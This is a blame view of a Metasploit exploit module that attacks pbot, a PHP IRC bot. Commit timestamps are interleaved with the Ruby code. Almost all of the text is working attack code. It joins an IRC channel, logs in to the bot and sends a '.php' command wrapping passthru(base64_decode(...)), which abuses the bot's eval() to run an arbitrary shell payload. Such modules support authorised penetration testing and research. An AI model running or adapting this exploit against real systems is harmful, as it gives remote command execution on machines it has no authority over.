Files
metasploit-gs/modules/exploits/multi/misc/pbot_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

189 lines
5.4 KiB
Ruby
Raw Normal View History

2012-08-07 19:20:32 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-08-07 19:20:32 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-08-07 19:20:32 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
'Description' => %q{
2012-08-07 19:20:32 +02:00
This module allows remote command execution on the PHP IRC bot pbot by abusing
the usage of eval() in the implementation of the .php command. In order to work,
the data to connect to the IRC server and channel where find pbot must be provided.
The module has been successfully tested on the version of pbot analyzed by Jay
Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
SP3.
},
'Author' =>
[
'evilcry', # pbot analysis'
'Jay Turla', # pbot analysis
2013-02-01 16:33:44 -06:00
'bwall', # aka @bwallHatesTwits, PoC
2012-08-07 19:20:32 +02:00
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
2012-08-07 19:20:32 +02:00
[
[ 'OSVDB', '84913' ],
2012-08-07 19:20:32 +02:00
[ 'EDB', '20168' ],
[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
],
'Platform' => %w{ unix win },
2012-08-07 19:20:32 +02:00
'Arch' => ARCH_CMD,
'Payload' =>
2012-08-07 19:20:32 +02:00
{
'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Targets' =>
[
[ 'pbot', { } ]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-11-02',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
])
2012-08-07 19:20:32 +02:00
end
2013-08-30 16:28:54 -05:00
def post_auth?
true
end
2012-08-07 19:20:32 +02:00
def check
connect
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
response = register(sock)
if response =~ /463/ or response =~ /464/
2014-01-21 13:03:36 -06:00
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
2012-08-07 19:20:32 +02:00
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
response = join(sock)
if not response =~ /353/ and not response =~ /366/
2014-01-21 13:03:36 -06:00
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
2012-08-07 19:20:32 +02:00
return Exploit::CheckCode::Unknown
end
response = pbot_login(sock)
quit(sock)
disconnect
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
if response =~ /auth/ and response =~ /logged in/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def register(sock)
msg = ""
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
msg << "NICK #{nick}\r\n"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
response = send_msg(sock,msg)
return response
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
response = send_msg(sock, join_msg)
return response
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def pbot_login(sock)
login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
login_msg << " #{datastore['PBOT_PASSWORD']}"
end
login_msg << "\r\n"
response = send_msg(sock, login_msg)
return response
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def pbot_command(sock)
encoded = Rex::Text.encode_base64(payload.encoded)
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
response = send_msg(sock, command_msg)
return response
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def quit(sock)
quit_msg = "QUIT :bye bye\r\n"
sock.put(quit_msg)
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
def exploit
connect
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
response = join(sock)
if not response =~ /353/ and not response =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
print_status("#{rhost}:#{rport} - Registering with the pbot...")
response = pbot_login(sock)
if not response =~ /auth/ or not response =~ /logged in/
print_error("#{rhost}:#{rport} - Error registering with the pbot")
return
end
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
print_status("#{rhost}:#{rport} - Exploiting the pbot...")
pbot_command(sock)
2013-08-30 16:28:54 -05:00
2012-08-07 19:20:32 +02:00
quit(sock)
disconnect
end
end